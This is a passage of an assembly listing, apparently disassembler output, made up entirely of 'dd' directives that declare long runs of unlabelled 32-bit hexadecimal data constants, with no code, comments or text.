		dd 1853E061h, 0E90319FAh, 0E25AE6D6h, 7D78E887h, 0EEE400BEh
		dd 0B61FAC2Fh, 0E8008F24h, 56985B13h, 5AC1F4h, 0C082CBD3h
		dd 86ACB655h, 6B7BCD00h, 0C6AA0C26h, 837167h, 19682B1Ah
		dd 0A1A59C20h, 8F14A700h, 0CEF9C3C5h, 59D50069h, 945846F4h
		dd 0B90042CCh, 2F37456Dh, 1EC2AC39h, 40114A98h,	9FC92001h
		dd 83001F56h, 7E305ADDh, 4A5F46DBh, 60CC4068h, 0F8D3042Ch
		dd 57160F00h, 0AA94E4D8h, 0AFDCF786h, 2BA4008Bh, 0C3B3AEC0h
		dd 1A50B529h, 0C85D2C8Ch, 218100C4h, 0A37D9DEFh, 4C830EB8h
		dd 58C0DBE0h, 49AA9064h, 77C3B000h, 2005CFB4h, 92F607DFh
		dd 73A753C6h, 2C888114h, 890CCD5Fh, 195D757Ch, 0F751001Ah
		dd 7467A8EBh, 3277DEA0h, 33BC0E00h, 447BA975h, 724B0022h
		dd 0B6C07F8Bh, 5B0F2548h, 604268E6h, 5CF48411h,	574700B0h
		dd 0F70219FAh, 0C824CE0Fh, 0D50FE0D2h, 0FC7C62B4h, 17C780A1h
		dd 1E3F8867h, 8435A032h, 0C090DB4Dh, 5CB4468Eh,	6C390C0Fh
		dd 940DC0A4h, 38D2FBDh,	32FF78CCh, 34B8FA4Dh, 0AA003693h
		dd 0B222D12Bh, 7CADC129h, 795B285Fh, 41E206B8h,	20DED8C7h
		dd 45F78201h, 609C6797h, 2E4D0AF4h, 1C85124Ah, 89DB0043h
		dd 2174330Fh, 7C464Ch, 0CE7D55A5h, 7DE0089Ah, 0F82200DEh
		dd 0A2E9C14Dh, 92094181h, 1A5782h, 1936E4DEh, 0EBD600A1h
		dd 0A804330Bh, 5007999h, 7A172795h, 1DB2EC2h, 1D320C4Ch
		dd 0D4CF118Eh, 0B50004D9h, 0B0DEEEF9h, 6231BBh,	650C09Bh
		dd 6096D29Dh, 71BCE300h, 8992B70Fh, 3D698E5h, 0AD5F2DB2h
		dd 7BD05710h, 80C3A277h, 0F0FB3013h, 49055Ah, 0E2036C0Fh
		dd 7BFD429Ah, 809F023Eh, 0C78FD8B3h, 0EEE5179Dh, 1E460001h
		dd 0DA37E4BAh, 400415DCh, 4E819411h, 80057CC0h,	0E49F7417h
		dd 592D0F1Dh, 0DFE09DFBh, 168132Ch, 3778B300h, 0A270F2ECh
		dd 3DB4048Dh, 0C3B23FBDh, 0CAC8BF14h, 0DD388972h, 1CEC808Bh
		dd 0ACD547CFh, 42D3C0Ch, 0ACDA800h, 18D272E8h, 9232EE00h
		dd 936DACB1h, 0C2030B7Ah, 0AF8051D3h, 1171C162h, 0D022775h
		dd 0DE0E7B3Eh, 0BFDC030h, 8A45009Ah, 744B78F8h,	370092D7h
		dd 0A8CEE521h, 0F0BAB47h, 0E1D64632h, 400A9F5Ch, 4243CC36h
		dd 14793318h, 5BBF0503h, 0D054476Ah, 718F1B4Fh,	8AF10080h
		dd 644568B7h, 6000876Fh, 0E72E3115h, 11440Ch, 929B2DB3h
		dd 0F43E29DBh, 83FA1F00h, 0B11BE690h, 0C85000FEh, 0C5771AF2h
		dd 2712BC3Ah, 20C09D6Fh, 97C445h, 0C9E484C1h, 0A30396E8h
		dd 7D367C00h, 0FDA4874h, 4070065h, 0B210D353h, 0C2042DF7h
		dd 0EB6EB94Ah, 74556EC7h, 61E08787h, 0E26525ACh, 0A5520067h
		dd 4976A2FEh, 12B83821h, 58D16200h, 20C42E6Ch, 0CC2B1F06h
		dd 31ABC0B8h, 2A046D11h, 0D3CE471Ch, 7AEA2780h,	133540E6h
		dd 8011CAB6h, 2B1237F4h, 0D68BBB01h, 0D4F7347Ah, 8072F4h
		dd 572899CEh, 652E9F5h,	61773A03h, 0C07F37A7h, 13D3A5E1h
		dd 40C1D1BCh, 0F82ECA8Ch, 0D07C33Ah, 0B1455C1Eh, 1596B2C0h
		dd 73CC00D7h, 0AB6A17E8h, 0F703B063h, 0C0B34EB9h, 494DC004h
		dd 645153D1h, 28DEB90Ch, 0FA0753A9h, 182462Fh, 335EC80h
		dd 0D999012Bh, 0F1184E23h, 1202F4EAh, 1D67D003h, 0A0AC3CA0h
		dd 0C91696h, 5FEE5A6Ch,	822B4645h, 9726E73Ch, 1500229Dh
		dd 0F7BF2CF6h, 0B07C0B1Dh, 8055900Ah, 73F2173Ah, 0B0B2h
		dd 0C124CEEBh, 4F1AA5DBh, 9EC39500h, 0C5E3EFF5h, 659A0164h
		dd 0DC94932Bh, 5418C029h, 80085E3Dh, 765255EEh,	0E0803BA4h
		dd 0A6990FB6h, 0F70F8B73h, 6DC9807Fh, 0EF25A07Dh, 0B65B5900h
		dd 0AEDC7E77h, 0D5910093h, 0C8DE562Fh, 13BFC8Dh, 0AF490013h
		dd 0AE968C64h, 9F6600BCh, 0F82F4DFEh, 8500AD69h, 0C47C467Bh
		dd 0B2AC23h, 21BB3CD9h,	6D84C21Ah, 801E0127h, 0F83774D8h
		dd 0B76300BDh, 445F60F7h, 27032D0Dh, 0E8029A41h, 0F0078DCDh
		dd 92D1907Fh, 0A960E760h, 1AC00D6h, 0EA3A7937h,	0C203A298h
		dd 2FF3CA66h, 0A642E021h, 0FB70078h, 0D64F4EE9h, 3FEE41BFh
		dd 478E7D00h, 364D54EDh, 3DD57866h, 0F100CB63h,	62B32C9Ah
		dd 33743537h, 0CA585F09h, 1A3000ABh, 305B7E6h, 8D4E9E4h
		dd 0CBE19667h, 3918D801h
		dd 23303312h, 0FD12C880h, 494804D1h, 0B05BEAAEh, 87000744h
		dd 3704A3D8h, 7C86018Ch, 0DF880C1Ch, 9960431Dh,	6EF47259h
		dd 50BC0458h, 0BB911Eh,	5F1C232Ah, 28185E9h, 68CAE556h
		dd 54E0CD1Bh, 4E7EF96Bh, 63E38300h, 0F0B7B521h,	8B010149h
		dd 3882DBACh, 64AAC4EBh, 3F73BC00h, 85D3CAD9h, 0D0E30E2Ah
		dd 15CDDBD1h, 0B5598440h, 62086991h, 0D315B161h, 9A8A701h
		dd 80BDD0F4h, 1984DC9Bh, 0B05C0B37h, 2C83E219h,	0B104334Dh
		dd 0E5548D46h, 4CA1E104h, 68240B3h, 0BAC3D1ACh,	480010DBh
		dd 0C1FDAA65h, 0BB89F6h, 6BE2E5B9h, 0DCCC4FBFh,	0BC692500h
		dd 0DE685615h, 95D0C376h, 28C07FE3h, 98A05738h,	63FA155Ch
		dd 0B72814Ch, 80BB49D4h, 388568ECh, 0AEFD0307h,	8FC35E84h
		dd 0F002B5E9h, 0FB008103h, 49E2AF93h, 0FD12E5Dh, 0A5CD825Ah
		dd 0F0656400h, 0E4634263h, 98D428A8h, 561245h, 6A27F5DFh
		dd 37D2C907h, 0C5ACC400h, 0D1179CDAh, 0A5F801AFh, 0CE7EF354h
		dd 2D603020h, 0F076D700h, 8CBAD0E9h, 71D00DBh, 3B94B351h
		dd 0B800035Bh, 254F61AFh, 3EF08C7Ah, 62000827h,	2E83F44Eh
		dd 0BEC0B3A9h, 0C88B556Ah, 26FA00D6h, 5B3731A8h, 0F91757A2h
		dd 7800EC72h, 5385E41Ah, 9F040077h, 48C1781Bh, 3EF02F37h
		dd 7036D300h, 0AA6796BCh, 0FAE500A7h, 5D199D0Ah, 871E9446h
		dd 0DD640842h, 0C52F803Bh, 73277AE4h, 11176DDh,	0D9CB4706h
		dd 0D04AD84Eh, 1C005905h, 0A4383295h, 93B797h, 4FF26DBDh
		dd 0CF4AD65Ah, 7A1EA9E8h, 53C02BACh, 2C9C9671h,	82DA2410h
		dd 6F400020h, 0E26CAA8Bh, 0B89D4712h, 21D3584Dh, 24064FD0h
		dd 3F2D8A2h, 0CD852EF0h, 7A184890h, 3F2260Eh, 1009CF1h
		dd 80B124A6h, 60E0284Bh, 748528E8h, 0F4281314h,	0C9CCB0A9h
		dd 723429C4h, 3A427048h, 0C51E22D3h, 2E771C22h,	1EBD56A4h
		dd 523ED0D1h, 0A1C131C2h, 27102938h, 0F6802D32h, 0BAB04013h
		dd 0CF573905h, 1406A485h, 50C9EBBDh, 44DE14EAh,	50A0600Eh
		dd 51D65C5Fh, 8D798918h, 4CA1CA03h, 156F0414h, 42A2082Ch
		dd 282434D7h, 0FCC1D840h, 177F7EA5h, 0C137D2Eh,	707FEC00h
		dd 8442BAh, 0B9EB77A3h,	3D5E6BCDh, 2C51C603h, 80B71392h
		dd 179983Ah, 0CABC81C1h, 0F73974AEh, 2B429AA8h,	5D00C9B8h
		dd 0CE97AC0Ah, 714DDDh,	1EAE7804h, 7B1F3D0Bh, 803B8C3Ch
		dd 509E6B27h, 391CC7E9h, 3E00F1CFh, 0F35F8909h,	0E3ADA98h
		dd 1E7F0E27h, 2430E0FAh, 363C560h, 3D09B91Ah, 0F4F0AB53h
		dd 7F3F0FB8h, 3A568051h, 0D022F3FCh, 8EF0009Bh,	3BA1F12Dh
		dd 7B001A48h, 0F2FC354h, 12BDAF2Ah, 1226A4BAh, 8B2C00E0h
		dd 86A0A801h, 5F1E4A7Eh, 61CF031Dh, 7A81017Dh, 7E205B52h
		dd 432E0058h, 72785777h, 7E008F3Ch, 88FCAC92h, 0CB717C4h
		dd 0AF3E9894h, 0AE269A60h, 70080F9h, 1E548488h,	64B029h
		dd 0A6E83AF3h, 5A75CF80h, 0C44DE000h, 92360F7Fh, 16EF0331h
		dd 1D8F805h, 5ECDD0B7h,	5F76E7B2h, 53336200h, 456D55F7h
		dd 7CA600D7h, 4B9DE356h, 0B200E623h, 4264200Fh,	0F1AD27h
		dd 2E046EF7h, 2FA66266h, 0A30E0B00h, 109B18B9h,	1FCD0072h
		dd 0D1D24427h, 0E43F3C43h, 54528071h, 9CE86D62h, 4B200021h
		dd 0E7C91A4Dh, 0F2003878h, 6DA0D157h, 7013A1h, 10D90AD0h
		dd 0BDAEE3A3h, 0D30CAD00h, 9CF3B87Ah, 567DF0h, 59C804A9h
		dd 0EC570C2h, 0A8FF6100h, 2855EBCAh, 31D0003Ch,	89FB4146h
		dd 211C6D8Ah, 0B840F35Dh, 3DEBBAF2h, 60D600DAh,	0E6225F5Ah
		dd 0FB00BD8Bh, 0EA326EDEh, 65459h, 0B5CD0CBFh, 7BABAFD8h
		dd 83C07E3Ch, 0BE24D4C7h, 0C8628B93h, 0E3019Dh,	7A9905A0h
		dd 408FEDF5h, 0F8A27E01h, 86D1B64h, 2B3860h, 0C04831F0h
		dd 0CFFEEEDBh, 742CC1Ch, 8B0FD89Eh, 66D005Ch, 72B93B8h
		dd 0ACAB1C90h, 6AD8D01Eh, 0FB18DF11h, 73107F7Ah, 0DE3E0053h
		dd 9D514D99h, 0FC240AE3h, 0C00030B1h, 70FA55DFh, 0CF5D1EFBh
		dd 0D1E6803Ch, 0E199C932h, 0A5B62B00h, 0AF1E8DBFh, 56720084h
		dd 0AAF29478h, 0A0031B95h, 9E5F12A1h, 7D83D0A5h, 18E60051h
		dd 0E376DDE2h, 8E00F3FFh, 3DB80CB9h, 0E3FA5CA0h, 5E59ECh
		dd 994E94A5h, 75CD502Ch, 0D0B9C100h, 0DAF4D378h, 60A598C6h
		dd 0B46D9074h, 0AE282F7Ah, 0C207EC63h, 0A935508Ah, 149A2C7h
		dd 53ABFB1Ch, 3463D20h,	0F03C74DBh, 0E8B08092h,	7D07D191h
		dd 0F809AEBEh, 0F6D81310h, 5DEE0120h, 7C726F6Eh, 0B7D9E4F4h
		dd 5277A58h, 936210AEh,	0D01154D3h, 242219F5h, 0CD2939h
		dd 40166EADh, 371D9CCCh, 78812CB2h, 0CBCFFF8Eh,	0B4D60h
		dd 7F110AFDh, 0D6017E41h, 6E2FFE00h, 2A7809BEh,	1ABF0FA3h
		dd 5000D4D7h, 0BAD912CFh, 52C20200h, 9E62881Fh,	1E2F00F1h
		dd 3D23C871h, 19055744h, 0E3A2ADFFh, 0F34F94C0h, 49730089h
		dd 0E9F57169h, 0D4001696h, 4ACA2391h, 39C8CC77h, 0E7008F47h
		dd 0A5AEE5B6h, 0B5000D9Ch, 0F88B89BDh, 734C9ABAh, 6DFD5823h
		dd 909C0170h, 170C9166h, 0FFD231C0h, 82E855A8h,	0B4A30200h
		dd 9FAAD208h, 0AE45092Eh, 77806A61h, 0FF1BE7ADh, 9800CAB8h
		dd 267C18F4h, 3C1FBF99h, 65824914h, 5FA3596Fh, 0BBAA0940h
		dd 9F9C1800h, 0CB970401h, 0A1723E32h, 28D0B000h, 57DACD22h
		dd 0CAE7FC03h, 9786AE39h, 0D4A87731h, 10314F8h,	0DF50BCC7h
		dd 0E417E765h, 7F1C5622h, 27802C8Ah, 6E4D08AFh,	1A09008Dh
		dd 553BD937h, 0D89D64DFh, 0C63105E0h, 0EFF4629Ah, 29C1D400h
		dd 3700246h, 0CFE39C60h, 63D0504Eh, 8000CDE8h, 4B2A4575h
		dd 0B023D8A9h, 0FD530F08h, 57A18BC8h, 0D5EAC96Dh, 68FA802Bh
		dd 3B6E489Bh, 36EF00AAh, 513ADC97h, 0D20139CEh,	40608759h
		dd 0FC346256h, 64F6001Bh, 2888FF03h, 123A813Bh,	6BAD8F82h
		dd 0E506012Bh, 99D05EA1h, 78AA00BAh, 0BE910AB9h, 50980239h
		dd 0CC883600h, 7368D1A0h, 15E7617h, 0D230AFF0h,	0ECC9118Dh
		dd 4500DA3Fh, 0FFEE7AFDh, 0F2E67983h, 8E9B00FAh, 58F20D2Eh
		dd 2B00CFC8h, 0EEDD9CA3h, 588B9368h, 30007012h,	9684B618h
		dd 0A23B9A5Ch, 0D9B10005h, 579CFE01h, 0C9DC0067h, 95790BE9h
		dd 37EEA5CFh, 32801600h, 1883B293h, 0F67500CCh,	0A78B5AEFh
		dd 1700CEA8h, 7BA19D1Bh, 7CDB041h, 965C0857h, 1FC9E064h
		dd 58B845A2h, 6B678100h, 97072244h, 0A0F70369h,	64CCC59Fh
		dd 4EB0B29Bh, 0D6008731h, 7316853Ch, 50B46Ah, 1EA09765h
		dd 25C73A27h, 0E7173000h, 0E8189807h, 0EC2D00F6h, 1B6E1912h
		dd 0E00C461h, 856896B3h, 150E932h, 6B8225F9h, 20453715h
		dd 600F0972h, 0C065D228h, 0CDDBAF81h, 0CC716Dh,	0EE783A04h
		dd 0EA628DFh, 3D075C98h, 8AC6F7D5h, 0C0D302F2h,	346BBFCh
		dd 171415ACh, 9EE8EE83h, 7500C284h, 0AB03808Dh,	1DB2FC6h
		dd 1E748252h, 0F87C7BF0h, 0CC030BEFh, 55AACECBh, 0A580A770h
		dd 0E86E6A56h, 2D510161h, 0EF465AF2h, 3036EDEBh, 170EE0A0h
		dd 0A01BD539h, 1D13A96Fh, 0D9D33D83h, 0BC321880h, 1EB76B5Fh
		dd 109E4C00h, 0EBED235Dh, 0B1150060h, 0FC5FBEF6h, 64F82CF9h
		dd 96E65600h, 4F6F5493h, 0D65B07FDh, 91DC3D1Eh,	0DC95177Bh
		dd 9003198h, 0A0EAAEB2h, 16CFD5CCh, 0E8E53E7Dh,	6FA30029h
		dd 0ECA3968h, 9BF81C08h, 178E409Eh, 3C3A9D40h, 0C6E66400h
		dd 0E383E850h, 27D900D8h, 3BAA25E1h, 0AB07F7C7h, 9D241391h
		dd 61ED9060h, 59D00137h
		dd 0DCA152BFh, 0F01CF983h, 0D004FFAh, 0C42054F5h, 3F043E9h
		dd 9ECFB130h, 1800F645h, 6081113Ah, 634AA7h, 92ADFDEAh
		dd 0A9F7FB9Eh, 0E030963Ch, 0E20EC928h, 0ECC700A3h, 3DFCAE5Dh
		dd 140B855Ch, 802F454Ah, 768219E8h, 8578B762h, 4CD54300h
		dd 9BDF6CE1h, 2AC90040h, 0DCA7C218h, 383BADE9h,	0C3B8805Fh
		dd 0F8A3B2B1h, 634B00A0h, 42E65E7Fh, 0BE009F88h, 0E50958F1h
		dd 4061D0Dh, 0ABC295DCh, 212D8092h, 0E7007CB4h,	0C158204Ah
		dd 0B8531411h, 96951754h, 0A67F009Fh, 0C45ED0EBh, 3CB03100h
		dd 0C8DC6B94h, 2A5407F4h, 0D7CE7D50h, 95CA50F7h, 0DE003FF0h
		dd 0E0BE8012h, 1DF1F8h,	0F5A93A2Ah, 8170BABBh, 805EEA26h
		dd 80EE0109h, 7FEF0EA6h, 0D4C60321h, 538BD6E4h,	3F1BA898h
		dd 0A65E4D03h, 0D86940E1h, 27884Ah, 3081C436h, 0A561F6BCh
		dd 0E160BE00h, 9CA4D1C5h, 7CD30FFAh, 3E00EFD6h,	0E8E251A9h
		dd 28004C7Dh, 50FDF518h, 0E2646941h, 63770060h,	0A0E1D10h
		dd 0F100A048h, 54A2EDC6h, 7FD12371h, 0E37A0439h, 0C79D0286h
		dd 0BADB40D2h, 0C0013EF3h, 0DABC47D2h, 0DDF48D0Bh, 0E92FA68h
		dd 5786A5B8h, 359DDEA0h, 81266BB1h, 2B005F58h, 0B63B1609h
		dd 9C77597h, 4B67F247h,	38ECE40Ah, 9CC86300h, 3C92F120h
		dd 0E8BDBC26h, 0FD5E607h, 0EFA8FC93h, 7DC9F60h,	463F009Ah
		dd 0EF51949Dh, 1E1320A5h, 0DEF0FB39h, 722600FDh, 8B9ACA19h
		dd 4107EEE3h, 3CA4656Bh, 649A050h, 0ED661384h, 0A11C0F82h
		dd 6005B3CBh, 0D3F7870Fh, 0F1C3477Fh, 2AA38B88h, 3B94C800h
		dd 6307E3BEh, 1AEB016Fh, 0D81291Ch, 4CD88056h, 67F14DBBh
		dd 0D2CB1DB7h, 0D8B380FFh, 0E7F4466Dh, 40A36916h, 4307FA00h
		dd 3D254432h, 48ACAEDEh, 0EFA40E82h, 0E382001Eh, 0D639C7E7h
		dd 1A114E00h, 5630619Dh, 0A65D0084h, 208C0CCh, 4D00D4C1h
		dd 779D8931h, 224864h, 0DD02F1Fh, 93053707h, 0CD2D5000h
		dd 5712B5B4h, 9510358h,	0DAF6E226h, 0F8ECBC89h,	0BF0074DCh
		dd 25660492h, 8668A0h, 8A720B8Dh, 0CFBAA72Eh, 50523Fh
		dd 0E42F628Eh, 0DF9DA2h, 0C764D773h, 0F33E8CF9h, 5B0040E0h
		dd 6A51A52Ch, 0E331D6h,	0B27A0161h, 74DBC1F2h, 3DD0E700h
		dd 8A6F47B4h, 643900AFh, 588283F5h, 0F23B2496h,	0D3C4093Bh
		dd 0A8F88017h, 38D3172h, 3CBB6AFEh, 59E02562h, 0C2002F97h
		dd 0D94DD055h, 25E5B53Eh, 0C400F9D5h, 7DA2C5F8h, 5144150Ah
		dd 360E8384h, 0B9DD4079h, 0ABFF7Ah, 0DA09D7F8h,	40F4E0CBh
		dd 0EE9938h, 608E197Ch,	0B69C51h, 4F6A1614h, 2F66E441h
		dd 0C2C997Fh, 0FD001821h, 0CDC84490h, 3EA50084h, 0AA6AB4B2h
		dd 1D1848F1h, 781C6F5Fh, 0C5900E80h, 9AEE0966h,	96EC9180h
		dd 0F4A01C86h, 6F00F323h, 19D74305h, 0E1265Ah, 283BF1BBh
		dd 0E6339C48h, 59008678h, 27BA7EAAh, 7413B9h, 0DE02AE23h
		dd 0B238307Dh, 4B045778h, 543FCD79h, 0D6691503h, 6164DBE8h
		dd 349A230Fh, 0AB842075h, 15634Eh, 0CBF6F60h, 27507ED9h
		dd 6EFF39h, 2B846548h, 709153h,	8E22D313h, 0AA2D411Eh
		dd 0A4E80601h, 87074D9Dh, 88EC8A61h, 3EEEEE62h,	0AE826575h
		dd 0D0A2DD48h, 7922C3E0h, 5BBB4003h, 81DCE651h,	0F5F4934Dh
		dd 957B8A3h, 0BEEB306Dh, 0F2C9F410h, 1E4B8F01h,	549667A0h
		dd 0FEBBE4h, 0EA10D8ACh, 82AB12AAh, 8E481900h, 0CB6B7E83h
		dd 0C0E10EE4h, 0B647D29Eh, 6E692086h, 0F603AB1Ch, 0DF5C93A9h
		dd 92D6005Eh, 8D3949D3h, 323A7F78h, 9D9900D7h, 0EC40B39Eh
		dd 362EC54h, 0A85EEE31h, 0EA88FE1Ah, 60001C37h,	9ACCB178h
		dd 0DEFCD3h, 0CE0F7CA0h, 1E5DCACFh, 38DD6D00h, 0C4836E27h
		dd 3D8D0F63h, 0E440887Ah, 0AC2567CAh, 0D480403h, 8816BFD3h
		dd 7028EE7h, 8B05ED8Ah,	0BB3D1BAh, 3C633098h, 85F61B00h
		dd 840488F9h, 21730086h, 0B58D196h, 0F2096C09h,	2082DC87h
		dd 0E11EBF24h, 0F3680021h, 3A511935h, 0BE3C44C0h, 60A61E5Dh
		dd 2C000B1Eh, 0F741217h, 1C2890D5h, 0F88D974Bh,	2B144F00h
		dd 0E21CD4BFh, 0EECD071Fh, 3E2151C0h, 90ED13FAh, 0ADCE0024h
		dd 0A03FB949h, 56006ABDh, 37950DCCh, 1C6951BEh,	82D454h
		dd 6A2AD502h, 8B796D73h, 1B1FD8E4h, 0A30115E3h,	8EE103DDh
		dd 0CC3CF4h, 5EF2F823h,	784A436Fh, 2200FC90h, 3DEB2C5Ch
		dd 8E93F9h, 0D0C6F09Dh,	3EBDF6E3h, 7A08E12Ch, 22146303h
		dd 18A0F049h, 0B280305Bh, 0E5215FB8h, 9A798B00h, 0BBD0227Ah
		dd 123A033Eh, 0E151EFBAh, 1E2D49D8h, 7C000679h,	68E044F2h
		dd 6C6682h, 0AAA03DCEh,	53CD1AC4h, 62E4F60Fh, 7069805Eh
		dd 13F51DDh, 2F328805h,	40C90C01h, 0A39AFEA1h, 0D268CF05h
		dd 2C903581h, 0FD434h, 850EF75Eh, 0E4DDEC0Ah, 50951100h
		dd 65172579h, 0A410DDE5h, 815A01FAh, 42132DB0h,	0D1E17594h
		dd 0DA60CE49h, 4803C416h, 207F816Fh, 0A432A04Bh, 9CB70053h
		dd 5034D455h, 131EB643h, 0DBC760E0h, 0E32029B5h, 3BD1904h
		dd 4B01CADAh, 0C8863AFh, 7909BEF5h, 0DA0EFh, 0DE17C41Eh
		dd 94C900ECh, 0A353B640h, 92002CAAh, 9DF46D5Fh,	209A98h
		dd 197DD816h, 9C84BC0Fh, 0CB943Eh, 0E611011Ah, 4B10EADFh
		dd 0B6D000C8h, 0D454DA3h, 862BD800h, 8427168Bh,	2CFC07F1h
		dd 31C8FD25h, 0E09C98DCh, 0CE0035C9h, 0AB6130BBh, 0B0AD579Eh
		dd 11021220h, 55DCC0B6h, 2890DFF2h, 3013F12h, 73951802h
		dd 0D60C878h, 188438CFh, 0FC8AB9h, 0E355BA28h, 4D52F129h
		dd 1C12B10Ch, 19DA07Fh,	28743C06h, 0E8EFAC04h, 810087A0h
		dd 21267BE3h, 138873FCh, 7E3446h, 2E206FCDh, 0CD0028D7h
		dd 0F3562636h, 3A0D38FBh, 7913D696h, 0F7A49006h, 560021E8h
		dd 6E988570h, 77FA60h, 350F33F5h, 0D7089B0Ah, 0D0C6063Eh
		dd 23001CA0h, 6C636979h, 0D5B4A4h, 4F363286h, 0CE7A31B0h
		dd 0C90093E6h, 0FB6C0273h, 4C127EA5h, 21FA001Dh, 0FDBD89ACh
		dd 91038C66h, 121584CEh, 0AB03C35Eh, 25C5D0C2h,	0AA1C008Ch
		dd 243E76Eh, 0FF008B56h, 0BA0E5F81h, 0F8183Fh, 7B5CE068h
		dd 0D7B7249Dh, 0E4D85E00h, 4235D2AFh, 96120013h, 0A59EBB02h
		dd 5809A8A3h, 803CC608h, 5ACC098Bh, 7148008Ch, 6B03B25Eh
		dd 5C005258h, 0AA94D376h, 3D83F2E3h, 6601A491h,	22E9A54Eh
		dd 0CEEDC80Eh, 0E6D3CA1Eh, 334D2A40h, 0B8B93218h, 0C230395h
		dd 45BFB7ACh, 8850C4A0h, 0D67138h, 357E659h, 5017AFB1h
		dd 78C803Ah, 449A0743h,	2BD7F0F8h, 0D48FEFFh, 0F9E0037Ch
		dd 0E88F0F59h, 649A5Fh,	45370A6Eh, 0C02501A7h, 81A15300h
		dd 394C6BFFh, 0F9B400E4h, 8723FD1Fh, 0AD009AC8h, 0B39CCA04h
		dd 0F8971058h, 2ACD036Ch, 0CB9FC44Fh, 2B7806B1h, 0FFC21000h
		dd 0C0CCE06Fh, 0F90147C1h, 0B907215Ah, 4C848E3Ah, 0E10F31C0h
		dd 0AB420EF3h, 7A8E1CA7h, 0A1EA73C0h, 4E005736h, 0C5AD75FFh
		dd 7F19308h, 0FE907611h, 0E93D10D2h, 0DC03C0E7h, 8A257ECDh
		dd 0A441AD89h, 637D0E58h, 0B89870h, 0DF7C87E4h,	0DAFD4DF7h
		dd 580072E2h, 8537637Eh, 0BCBB0Ch, 190ABAFAh, 0D92CB69Fh
		dd 0D1509D05h, 0E6095B77h, 87108F68h, 3C20B9A7h, 277D56h
		dd 0E861738Eh, 0C3241D25h, 0DF2B8800h, 8FF13657h, 6AC80097h
		dd 0C5E007C0h, 1D0C3E67h, 5450A64Eh, 473D0062h,	9A360E68h
		dd 0D36095A4h, 0F94097DEh, 0A29F26D9h, 0C91630h, 0F821412Ah
		dd 870042C1h, 44B9C3B1h
		dd 3C3384A5h, 4380A755h, 727E2E4Dh, 1317E49Dh, 0DC014497h
		dd 523D8510h, 0A8FD60h,	5F60C256h, 0E9FCCD5Dh, 4498082Eh
		dd 70876F00h, 56D52h, 0BFF3DCD5h, 82973E85h, 9D3ED879h
		dd 0A7FB009Ch, 0E7F26EBh, 3BB70046h, 2A8D4DC0h,	0C213BAF7h
		dd 0E400D2FCh, 0D3B517ADh, 0BD8E0084h, 0A0266614h, 5B0E485Ch
		dd 200B154Eh, 2FC4D3D2h, 0CE2C1C74h, 217F8066h,	5E01F952h
		dd 4F3D650Fh, 417400FEh, 6B5A81h, 2B6E9AC6h, 21DCB4B2h
		dd 84BA9CEAh, 4E80BF00h, 9993848Ah, 0C0CE4852h,	85050E00h
		dd 9A4C7932h, 7D41F705h, 0CCF7A995h, 942EAC00h,	0AD02B45Dh
		dd 96F38400h, 88319A56h, 8A9C00ABh, 776105FFh, 30002AE1h
		dd 98BE0FC8h, 715D91h, 82DB8E34h, 21CF2FFCh, 0F4314Ch
		dd 0F7866319h, 95C7454h, 0FEE2AB4Bh, 130E7400h,	210064C3h
		dd 5E5233D4h, 1D062B7Ch, 819A2324h, 0A46513E8h,	1D108026h
		dd 0D011F7D2h, 0F301FABh, 3BA640B8h, 0BCAE37Fh,	0F78E9000h
		dd 0D4185DF2h, 2EC10317h, 730D9E44h, 0B5D2BAC0h, 8600149Ah
		dd 40BE50DAh, 0BACE5B1h, 85725DC9h, 14DED700h, 34036959h
		dd 0CD01DC55h, 0C38DB178h, 12049F60h, 0BD3F111h, 3800BCEAh
		dd 6B7FB690h, 8E00E9EAh, 0DB9F95C5h, 1C6208E6h,	98A03B04h
		dd 0D9FE608Ah, 0D400DE72h, 0CF324C0h, 378A60Ah,	2B225C06h
		dd 30001BD5h, 0F636975Dh, 7C79161Eh, 6A52C0E6h,	0D45946DFh
		dd 0A1578500h, 90CCEFF0h, 0F61DF063h, 4514007Dh, 56F2FFCEh
		dd 9300D0B1h, 0EF9F9BCAh, 1654676Dh, 2CD6F9h, 55591896h
		dd 714CE9B8h, 1BB03B0h,	0E02E7213h, 0E28BDF97h,	4FB10052h
		dd 6364510Dh, 0AD3025E5h, 8D20CC1Ch, 487F00C1h,	0B3781209h
		dd 4700EA94h, 2C53DED4h, 0EA51A069h, 22F0F31h, 1D27AB1Bh
		dd 0F3655146h, 2B8E70E8h, 20F29200h, 63B00E38h,	9B6000D4h
		dd 518765AFh, 0BE67AD50h, 61C02B90h, 48F554FCh,	0C80B4DBFh
		dd 5CE0F2C0h, 73001145h, 0A0CCD544h, 1230FB3Eh,	30AAA797h
		dd 63D2A66Ch, 52E2FCA8h, 3CE00401h, 4B4D0A2Fh, 4F6AD8h
		dd 15D7255Ch, 58F178ECh, 0B3000C76h, 1E1C64D5h,	1FE2C6h
		dd 426547BDh, 26E04DB5h, 0FF95C100h, 9E705C5Eh,	1E142C0Ch
		dd 71C88h, 0A9E4D397h, 2B00B4CBh, 94F6E5D2h, 38AF91h, 96C299B0h
		dd 3357D661h, 0F85C7B00h, 0EDB1245Ah, 0C8F200EBh, 267F1892h
		dd 6D005175h, 801C27A6h, 5CAF2A0Ah, 69016F8Bh, 3CCE050Ch
		dd 9AF330CAh, 71F80097h, 230E2F6h, 3E177674h, 0BC449407h
		dd 510FA91Ch, 0E026B54Eh, 0FD860CAFh, 0F58E0706h, 0A0BA1D63h
		dd 46FB8D42h, 0E7A78A00h, 15E66C25h, 20010062h,	0DC359782h
		dd 61F29CEh, 0EC01EE2h,	72EF0AFFh, 0ABB00077h, 9A7F3845h
		dd 9300AAFBh, 69D466D5h, 4EA52552h, 0F68081EFh,	9FEC60C0h
		dd 41109800h, 420CE271h, 77A400D4h, 4A85E888h, 674C7E11h
		dd 70C90020h, 44C273DAh, 86FF3ABCh, 0B1BEE00h, 8F4BD19Eh
		dd 8BAC7F0Eh, 56B52064h, 7E753AE6h, 0E8DD4D70h,	0FDDF7400h
		dd 2340D56Ah, 20B17800h, 8EAC85Fh, 7705F873h, 0C9AE17F6h
		dd 648400BDh, 0A6202286h, 55E00107h, 75E07B0Bh,	1D044CE7h
		dd 80844AD9h, 0F4E15EB0h, 6CF00CD3h, 0D0F82D00h, 22F6F3A5h
		dd 30B08Dh, 0DB9DD425h,	9FB797E7h, 0ED8139h, 83BB7884h
		dd 4DF19AFh, 41141F42h,	0DA228061h, 1800F574h, 12265010h
		dd 1B3CCF7h, 8EFE31A5h,	0D40DED61h, 3803BE09h, 6FD1373Bh
		dd 70E5C0D4h, 9C910081h, 0A40DC71Ah, 57009413h,	0E2502DEFh
		dd 6A0CB6h, 0AB9B16F5h,	59BAAA3Fh, 8800567Fh, 4970AF1Ch
